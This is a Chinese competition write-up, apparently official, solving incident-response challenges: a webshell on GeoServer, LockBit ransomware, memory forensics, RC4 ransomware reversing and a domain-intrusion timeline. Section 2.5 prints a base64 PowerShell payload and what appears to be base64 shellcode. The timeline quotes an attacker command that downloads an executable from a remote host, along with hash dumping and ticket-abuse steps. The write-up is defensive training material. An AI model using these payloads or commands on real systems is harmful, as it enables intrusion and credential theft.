-
-
[原创] 【官方WP】第一届solar杯·应急响应挑战赛官方题解
-
发表于: 1天前 1169
-
就在几天前,第一届Solar杯·应急响应挑战赛圆满落下帷幕。这场比赛汇聚了来自全国的网络安全精英,选手们在激烈的技术较量中展现了非凡的能力和智慧。为延续比赛的技术交流与分享精神,我们很高兴向大家呈现本次比赛的官方WP(Writeup)。本篇官方WP将深入解析比赛中的关键赛题,从流量分析到勒索病毒破解,逐步还原真实案例中的技术细节与解决思路。 需要特别说明的是,文中所呈现的这些方法和思路,均基于真实应急响应场景设计,虽然可能并非所有情况下的最优解,但我们希望它们能够为您提供有价值的参考,助力您在未来的应急响应中更加高效地应对复杂多变的安全挑战。让我们一同走进这场技术盛宴,探索网络安全应急响应的更多可能!
1.流量分析
1.1 文件排查
新手运维小王的Geoserver遭到了攻击:
黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
从日志分析得知攻击者ip为10.0.100.22对该站点有目录扫描行为与b.jsp交互频繁疑似为上传webshell
当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java
),然后将其编译为 .class
文件。生成的 .class
文件是 Tomcat 用来处理请求并返回响应的实际代码。这个过程是动态的,Tomcat 会在后台管理这些文件的编译和更新。路径一般为:<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/
查看b_jsp.java判断为哥斯拉webshell
base64解码code
1 | f!l^a * g{A7b4_X9zK_2v8N_wL5q4} |
1.2 流量解密
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。
1 | flag{sA4hP_89dFh_x09tY_lL4SI4} |
1.3 文件提取
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。
使用流量解密工具进行解密流量并删除无用部分后另存为pdf
1 | flag{dD7g_jk90_jnVm_aPkcs} |
2.数据库
说明:由于黑客在攻击时可能会修改用户口令、锁定登陆、破坏系统导致无法进入操作系统,因此本题不提供密码
VMware虚拟机进入pe系统: pe镜像下载地址
https://www.hotpe.top/download/
在虚拟机编辑设置CD/DVD处选择pe镜像
选择电源-->打开电源时进入固件
在boot选项中调整启动顺位
可以在源系统盘看到勒索信X3rmENR07.README.txt,被加密的文件后缀为.X3rmENR07
搜索后缀名得知为lockbit勒索家族
2.1 攻击者创建隐藏账户的时间
查看原系统Security.evtx日志文件
flag
1 | flag{ 2024 / 12 / 16 15 : 24 : 21 } |
2.2 恶意文件的名称
1 | flag{xmrig.exe} |
2.3 外联地址
在恶意文件的配置文件中可以看到外联的url为“sierting.com”
dns解析为“203.107.45.167”
1 | flag{ 203.107 . 45.167 } |
2.4 数据库修复
使用数据库修复工具“D-Recovery SQL Server”进行修复
选择被加密的数据库文件,在”选择参照mdf文件“中选择”【非题目】题mssql-备份数据库(可能会用到)“中的纯表结构文件
1 | flag{E4r5t5y6mhgur89g} |
2.5 逆向恶意powoshell的md5值
可以在“Windows PowerShell.evtx”日志文件中看到PowerShell执行情况
可以看到攻击者在2024/12/16 15:23:01执行的PowerShell其中的
New-Object System.IO.MemoryStream:用于 Base64 编码的字符串创建内存流。
System.IO.Compression.GzipStream:解压缩 Gzip 编码的数据流。
ReadToEnd():读取并执行解压后的数据内容。
解密脚本
1 2 3 4 5 6 7 8 9 | import base64 base64_data = '''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''' padding = '=' * ( 4 - len (base64_data) % 4 ) base64_data + = padding compressed_data = base64.b64decode(base64_data) with open ( "output.gz" , "wb" ) as f: f.write(compressed_data) print ( "保存成功" ) |
打开test.txt再次解密
1 2 3 4 5 6 7 8 9 | import base64 base64_data = "/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V" padding = '=' * ( 4 - len (base64_data) % 4 ) base64_data + = padding decoded_data = base64.b64decode(base64_data) with open ( 'data.bin' , 'wb' ) as file : file .write(decoded_data) print ( "保存成功" ) |
1 | flag{d72000ee7388d7d58960db277a91cc40} |
3.内存取证
获取镜像信息
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw imageinfo |
3.1 远程rdp连接的跳板地址:
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 netscan |
1 | flag{ 192.168 . 60.220 } |
3.2 攻击者下载黑客工具的IP地址:
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 cmdscan |
1 | flag{ 155.94 . 204.67 } |
3.3 黑客获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么:
查看攻击者执行的命令,读取了桌面的pass.txt文件
查找pass.txt
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 filescan | findstr "pass.txt" |
dump 文件
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 dumpfiles - Q 0x000000007e4cedd0 - D C:\data |
查看文件内容
1 | flag{GalaxManager_2012} |
3.4 攻击者创建的用户:
Security.evtx记录安全相关的事件,如登录、权限更改、系统策略修改等
搜索 Security.evtx 日志文件
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 filescan | findstr "Security.evtx" |
dump 日志文件
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 dumpfiles - Q 0x000000007e744ba0 - D C:\data |
修改后缀为.evtx,查看
1 | flg{ASP.NET} |
3.5 攻击者利用跳板rdp登录的时间
1 | flag{ 2024 / 12 / 21 00 : 15 : 34 } |
3.6 攻击者创建用户的密码哈希值:
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 hashdump |
1 | flag{ 5ffe97489cbec1e08d0c6339ec39416d } |
4.逆向破解
在createfileW处下断点,
断住之后发现输入的参数为一个文件路径
跟踪发现这里使用随机数生成了六位密钥
将生成的密钥%10,即生成0-9的密钥
明显的rc4特征,rc4密钥初始化
交换数组位置,这里就是利用key生成s盒,相当于
1 2 3 4 | for i in 0..256 { j = (j + s[i] + key[i % key.len()] ) % 256; s.swap(i, j); } |
使用刚刚读取到的内容(v5),利用PRGA生成秘钥流并与密文字节异或,完成rc4加密
生成字符串
如下
再次生成字符串
如下
将加密后的字符串和自解密生成的字符串拼接,其中自解密生成的字符串无实际用途,每次生成的都一样,仅为加密特征。
创建文件
写入文件
由于密钥是随机生成的,但是因为密钥只有6位而且取值为0-10,因此可以直接爆破出结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | import itertools import os from concurrent.futures.thread import ThreadPoolExecutor def rc4(key, data): key_length = len (key) S = list ( range ( 256 )) j = 0 for i in range ( 256 ): j = (j + S[i] + key[i % key_length]) % 256 S[i], S[j] = S[j], S[i] i = 0 j = 0 result = [] for byte in data: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256 ] result.append(byte ^ K) return result def is_printable(data): try : return all ( 32 < = byte < = 126 for byte in data) except TypeError: return False ciphertext = [] #加密后的数据 def run(key_tuple ): key = list (key_tuple) decrypted_data = rc4(key, ciphertext) # 判断是否解密后的数据是可打印的 if is_printable(decrypted_data): decrypted_string = ''.join( chr (byte) for byte in decrypted_data) if 'flag' in decrypted_string: print (f "找到有效密钥: {key} -> 解密结果: {decrypted_string}" ) max_threads = os.cpu_count() * 2 print (max_threads) with ThreadPoolExecutor(max_workers = max_threads) as executor: executor. map (run, itertools.product( range ( 0 , 10 ), repeat = 6 )) |
其中加密后缀为一个假的flag,但是可以解出结果
5.综合应急
24/12/18 9:01:40分以sa账户连接数据库
24/12/18 9:02:04 由sqlservr.exe通过clr调用cmd.exe而后执行powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe
24/12/18 9:02:08 执行木马
24/12/18 9:02:15创建管道spoolss,9:02:18 获取system权限
24/12/18 9:02:50访问进程lsass.exe,推测攻击者从中获取哈希
24/12/18 9:03:27 使用sql01账户通过wmi连接服务器
24/12/18 9:03:54 创建用户admin
24/12/18 9:03:55发现攻击者ip 10.0.100.85
24/12/18 9:05:14加载了pv.ps1,从文本中可发现该脚本实际为PowerView.ps1,主要作用是在域内做信息收集。
24/12/18 9:10:44 进行dns查询
24/12/18 9:11:15 修改administrator账户密码为Password@123
24/12/18 9:11:24.000 攻击者使用sql01本地管理员administrator账户RDP登陆服务器
24/12/18 9:11:26.000 修改防火墙配置
24/12/18 9:16:19.220 攻击者使用sql01账户登陆sql02数据库,之后执行命令下载木马并执行木马,提权后修改了sql02本地管理员administrator
24/12/18 9:22:07.000 疑似利用web漏洞执行命令
24/12/18 9:26:46.000 创建调用PowerView.ps1
24/12/18 9:33:54.000 web应用为域用户iis权限
24/12/18 9:59:44.000 修改web01本地管理员administrator密码
24/12/18 9:59:50 rdp连接
24/12/18 10:12:14 关闭防火墙
24/12/18 10:12:19 攻击者利用无约束委派请求票据,获取票据后利用票据获取域内账户hash
24/12/18 10:31:08 攻击者通过winrm使用administrator哈希登陆dc02
24/12/18 10:31:20 修改域管理员密码
24/12/18 10:31:28 RDP登陆
24/12/18 10:31:49-24/12/18 10:31:50 上传黑客工具
24/12/18 10:48:39 执行命令SpoolSample.exe dc03 dc02
24/12/18 10:53:02.000 注入票据
24/12/18 16:35:22 攻击者使用333.exe工具使10.0.11.6与10.0.11.8进行tcp连接
24/12/18 16:37:14 攻击者使用333.exe工具使10.0.11.6与10.0.11.10进行tcp连接